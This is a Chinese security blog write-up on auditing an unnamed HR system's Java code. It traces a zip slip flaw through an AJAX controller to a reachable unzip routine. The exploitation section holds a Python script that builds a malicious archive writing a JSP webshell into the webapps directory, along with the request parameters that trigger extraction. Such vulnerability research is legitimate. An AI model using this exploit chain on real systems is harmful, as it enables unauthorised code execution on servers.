Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程

Eswlnk的头像
Eswlnk
2025-02-13 16:11:32
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog
智能摘要 AI
在人力系统审计过程中,发现了一个上传漏洞,通过深入分析,突破了文件后缀限制,实现了任意文件上传,最终获得服务器控制权限。进一步分析发现系统允许上传ZIP文件,但存在白名单过滤,通过寻找可控解压点,利用**zip slip**漏洞实现Getshell。最终通过构造恶意压缩包和请求参数,成功将WebShell解压到Web目录,实现远程代码执行。

0x00 前言

在进行人力系统审计时,我偶然发现了一个上传漏洞,虽然表面上看似无关紧要,但出于学习和探索的心态,我决定深入分析这个上传点,看看是否能通过扩大漏洞的利用范围实现更加严重的安全问题。通过一番努力,我终于突破了文件后缀限制,成功实现了任意文件上传,最终甚至获得了服务器的控制权限。

0x01 寻找解压点

在之前的漏洞分析中,我们发现系统允许上传ZIP文件,但对文件类型进行了白名单过滤。这个限制看似严密,但若能够找到可控的解压点,理论上便可以利用zip slip漏洞执行恶意代码,从而实现Getshell。

接着,我检查了web.xml文件,并找到了另一个涉及文件上传的Servlet。深入分析后,发现在uploadMediaFile方法中存在对压缩包进行解压的操作。相关代码片段如下:

try {
    var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";
    var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));
    var15 = new ZipInputStream((InputStream)var3);
    ZipEntry var17 = null;

    while((var17 = var15.getNextEntry()) != null) {
        if (!var17.isDirectory()) {
            var18 = var17.getName();
            var19 = var18.substring(var18.indexOf("."));
            if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
                var14.append("{文件名:\"" + var1 + "\",");
                var14.append("类型:\"" + var2 + "\",");
                var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
                break;
            }
            
            if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {
                var9 = true;
                SAXBuilder var20 = new SAXBuilder();
                Document var21 = var20.build(var15);
                var9 = var9 && this.isHashNode(var21);
                break;
            }

            var15.closeEntry();
        }
    }
} catch (IOException var44) {
    var44.printStackTrace();
    throw new Exception("zip文件错误");
} finally {
    PubFunc.closeIoResource(var15);
    if (var3 != null) {
        ((InputStream)var3).close();
    }
}

从代码中可以看出,系统对上传文件的扩展名进行了检查,具体通过getName方法获取压缩包中的文件名,然后根据文件的后缀判断是否属于黑名单中的类型。

此处看来是行不通了,我们全局搜索如ZipInputStream或ZipEntry,发现有好多地方有调用

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

这无异于增加了发现难度,不过根据上面servlet发现其实该ZipEntry类其实是该系统自己封装实现的

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

然后我们用老朋友jar-analyzer工具帮我们搜索com.xxx.xxx.zip.ZipEntry的getName方法调用

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

除了上述servlet以外还有两处类名基本一样的savexxxxTrans中unZip()方法有使用

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包:

tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip->  tomcat/temp/$(var2)/../../webapps/1.txt

那么var1真可控吗

往上到其调用:

public void execute() throws GeneralException {
     String var1 = "yes";
     try {
        ...
        String var3 = (String)this.getFormHM().get("r5100");
        ...
        String var9 = (String)this.getFormHM().get("newPath");
        ...
        if (!var3.equals("")) {
            var2.setString("r5100", var3);
            var12 = this.isZip(var9, var3);

可以看到路径是由是newPath控制,且存在this.getFormHM()的hashmap中。

而根据以往搜索经验却找不到该execute()方法的调用,难道是只定义而没调用嘛,那岂不是寄了!

0x02 寻找触发点

然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

感觉像是根据funcid创建mainClass的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

在WFMapping#init中加载配置文件初始化到变量E中,

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

在MsgRouter#execute()方法中会调用WFMapping#init(),同时调用businessProcess.synJavaBeanExecute()来反射调用对应mainclass中的execute方法,相关代码如下

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

而MsgRouter#execute()方法被FrameCmd#execute()所调用

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

最终在AjaxController#A()方法中调用了FrameCmd#execute()

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的

那么AjaxController具体如何触发到A方法,我们来看看

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

首先根据__type的值当不是bymobile,byWeiXin和byserviceclient会进行session有效性检查,未授权会提示请登录。

后续会根据__type调用到A方法进行hashmap的初始化然后调用execute。

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

可以看到是获取请求中__XML变量的值,通过C(String var1)方法将Json字符串转为RequestCommand的hashmap存入,同时在A(HttpServletRequest var1, ResponseCommand var2)方法中将请求中其他键值对存入hashmap,之后调用前面AjaxController#A()方法,将两个的hashmap合并,一并赋值给TransInfoView.setFormHM中。

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

回顾整个过程

  1. AjaxControllerhttp接口通过请求参数构造hashmap,传给FrameCmd
  2. FrameCmd调用MsgRouter,后面MsgRouter根据hashmap中functionId值找到具体类反射调用其execute方法,同时将hashmap赋值给FromHM
  3. 反射调用savexxTrans类的execute方法,构造r5100和newpath参数,使其进入isZip方法,最终进入unZip解压newpath路径代表的zip,实现zip slip解压webshell到web目录

因无需权限的三种__type由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究

0x03 漏洞复现

首先构造恶意压缩包

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc1.zip")
        zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

上传文件并获取文件路径

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

然后构造savexxxTrans类所需要的hashmap

__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}

这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。

然后再对__xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密)

登录后发送数据包

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog

根目录成功访问jsp文件

「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程-Eswlnk Blog
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
linuxpython攻防攻防对抗漏洞网络网络安全
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「日志记录」从零起步揭开路由器漏洞挖掘的面纱
上一篇
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 事件记录:国内网络故障情况
  • 小工具开发之EdgeOne免费计划兑换工具
  • 研究日志:ERA5-Land数据解析问题
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

PythonMemoryModule | Python 完全实现内存中加载 DLL
2023-06-11 1:22:44
Python怎么取出数字 | 探究Python中提取数字的方法
2024-01-13 1:33:42
「高危漏洞」宝塔面板 Nginx 挂马事件剖析以及相关的补救措施
2022-12-09 16:29:59

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.513 秒   |  SQL查询 26 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈